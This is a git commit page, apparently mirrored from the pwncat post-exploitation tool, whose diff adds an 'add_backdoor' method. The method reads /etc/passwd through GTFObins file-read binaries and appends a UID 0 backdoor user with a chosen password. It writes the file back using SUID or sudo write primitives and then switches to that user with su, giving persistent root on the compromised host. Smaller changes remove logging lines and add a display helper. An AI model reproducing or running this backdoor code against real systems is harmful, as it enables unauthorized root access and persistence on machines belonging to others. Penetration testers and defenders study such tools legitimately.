1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-24 01:25:37 +01:00

Added add_backdor method to the privesc finder to fix EUID issues after SUID escalation

This commit is contained in:
Caleb Stewart 2020-05-10 00:39:14 -04:00
parent ec2711a086
commit 02db34379c
3 changed files with 65 additions and 10 deletions

View File

@ -5,6 +5,7 @@ import crypt
from pwncat.privesc.base import Method, PrivescError, Technique, SuMethod, Capability from pwncat.privesc.base import Method, PrivescError, Technique, SuMethod, Capability
from pwncat.privesc.setuid import SetuidMethod from pwncat.privesc.setuid import SetuidMethod
from pwncat.privesc.sudo import SudoMethod from pwncat.privesc.sudo import SudoMethod
from pwncat import downloader
from pwncat import gtfobins from pwncat import gtfobins
from pwncat import util from pwncat import util
@ -72,6 +73,54 @@ class Finder:
return techniques return techniques
def add_backdoor(self):
""" Add the backdoor user if it doesn't already exist. This is normally
called in order to solidify full UID=0 access (e.g. when SUID binaries
yield a EUID=0 but UID!=0. """
self.pty.reload_users()
if self.backdoor_user_name not in self.pty.users:
binary = gtfobins.Binary.find_capability(self.pty.which, Capability.READ)
if binary is None:
raise PrivescError("no file read methods available from gtfobins")
# Read the etc/passwd file
passwd = self.pty.subprocess(binary.read_file("/etc/passwd"))
data = passwd.read()
passwd.close()
# Split up the file by lines
data = data.decode("utf-8").strip()
data = data.split("\n")
# Add a new user
password = crypt.crypt(self.backdoor_password)
user = self.backdoor_user_name
data.append(f"{user}:{password}:0:0::/root:{self.pty.shell}")
# Prepare data for transmission
data = ("\n".join(data) + "\n").encode("utf-8")
# Find a GTFObins payload that works
binary = gtfobins.Binary.find_capability(self.pty.which, Capability.WRITE)
if binary is None:
raise PrivescError("no file write methods available from gtfobins")
# Write the file
self.pty.run(binary.write_file("/etc/passwd", data))
# Stabilize output after the file write
self.pty.run("echo")
# Reload the /etc/passwd data
self.pty.reload_users()
if self.backdoor_user_name not in self.pty.users:
raise PrivescError("/etc/passwd update failed!")
self.pty.run(f"su {self.backdoor_user_name}", input=self.backdoor_password)
def write_file( def write_file(
self, self,
filename: str, filename: str,

View File

@ -123,10 +123,6 @@ class SetuidMethod(Method):
return read_pipe return read_pipe
def write_file(self, filepath: str, data: bytes, technique: Technique): def write_file(self, filepath: str, data: bytes, technique: Technique):
info(
f"attempting to write {Fore.BLUE}{filepath}{Fore.RESET} with {Fore.RED}{self.get_name(technique)}{Fore.RESET}"
)
binary = technique.ident binary = technique.ident
payload = binary.write_file(filepath, data) payload = binary.write_file(filepath, data)

View File

@ -262,9 +262,6 @@ class SudoMethod(Method):
def read_file(self, filepath: str, technique: Technique) -> RemoteBinaryPipe: def read_file(self, filepath: str, technique: Technique) -> RemoteBinaryPipe:
info(
f"attempting to read {Fore.BLUE}{filepath}{Fore.RESET} with {Fore.RED}{self.get_name(technique)}{Fore.RESET}"
)
binary, sudo_spec, password_required = technique.ident binary, sudo_spec, password_required = technique.ident
read_payload = binary.read_file( read_payload = binary.read_file(
@ -280,9 +277,6 @@ class SudoMethod(Method):
def write_file(self, filepath: str, data: bytes, technique: Technique): def write_file(self, filepath: str, data: bytes, technique: Technique):
info(
f"attempting to write {Fore.BLUE}{filepath}{Fore.RESET} with {Fore.RED}{self.get_name(technique)}{Fore.RESET}"
)
binary, sudo_spec, password_required = technique.ident binary, sudo_spec, password_required = technique.ident
payload = binary.write_file( payload = binary.write_file(
filepath, data, sudo_prefix=f"sudo -u {shlex.quote(technique.user)}" filepath, data, sudo_prefix=f"sudo -u {shlex.quote(technique.user)}"
@ -292,3 +286,19 @@ class SudoMethod(Method):
self.pty.run( self.pty.run(
payload, input=functools.partial(self.send_password, self.pty.current_user), payload, input=functools.partial(self.send_password, self.pty.current_user),
) )
def get_name(self, tech: Technique):
""" Get the name of the given technique for display """
return (
(
f"{Fore.GREEN}{tech.user}{Fore.RESET} via "
f"{Fore.CYAN}{tech.ident[0].path}{Fore.RESET} "
f"({Fore.RED}sudo{Fore.RESET}"
)
+ (
""
if tech.ident[2]
else f" {Style.BRIGHT+Fore.RED}NOPASSWD{Style.RESET_ALL}"
)
+ ")"
)